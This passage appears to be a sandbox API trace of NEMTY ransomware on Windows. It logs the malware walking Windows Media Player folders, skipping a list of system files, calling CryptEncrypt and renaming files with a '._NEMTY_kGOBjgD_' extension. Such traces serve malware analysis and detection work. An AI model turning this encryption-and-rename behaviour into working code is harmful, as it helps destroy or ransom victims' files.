player\\en-us\\wmplayer.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.193] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.306] CloseHandle (hObject=0xffffffff) returned 0 [0103.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui._nemty_kgobjgd_")) returned 0 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.307] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="...") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="windows") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="rsa") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="NTDETECT.COM") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ntldr") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="MSDOS.SYS") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="IO.SYS") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="boot.ini") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="boot.ini") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ntuser.dat") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="desktop.ini") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="CONFIG.SYS") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="RECYCLER") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="bootmgr") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="programdata") returned 1 [0103.307] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="appdata") returned 1 [0103.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0103.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll.mui", lpUsedDefaultChar=0x0) returned 23 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll.mui", lpUsedDefaultChar=0x0) returned 23 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll.mui", lpUsedDefaultChar=0x0) returned 23 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll.mui", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll.mui", lpUsedDefaultChar=0x0) returned 23 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0103.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0103.308] Sleep (dwMilliseconds=0x5) [0103.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf13a7750, dwHighDateTime=0x1d561e7)) [0103.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf13a7750, dwHighDateTime=0x1d561e7)) [0103.316] GetLastError () returned 0x5 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.317] GetLastError () returned 0x5 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.317] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.317] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.317] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0103.317] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ef9c | out: pszString="fXgoOqsoVFtQ7UPWXi3KWmSk3ZagvDjP+2YvvkZHrGJLUvb1857uA5Lc46Suwy9y\r\nQaMP78VHAbA53Ea8Qprsrwf6y7c/jkKxBvtl459Ktn0qROj4YyfPMZGBbdUK9H6i\r\nDsTsLU/9lRO7Z8DchHLi30jxWUCNVYsiyuu+0ZFlTRGseMRtBjy28IDCc45BR0vB\r\nWxhuGfc7EyQv4/sL7tKGGQPhGO7MSdJF7CicgWUeTNaiGHE95Cx8ccqMR6tU4lCH\r\nCLKPalgs5GyZ+pzKoLCQUcWOM3IseOkATDaUTJ6UuJeLcR1G7CUaiVd278xdfYKM\r\neH0ss1WAdmg18OYTHwvwtA==\r\n", pcchString=0x653ef9c) returned 1 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.317] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.317] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, 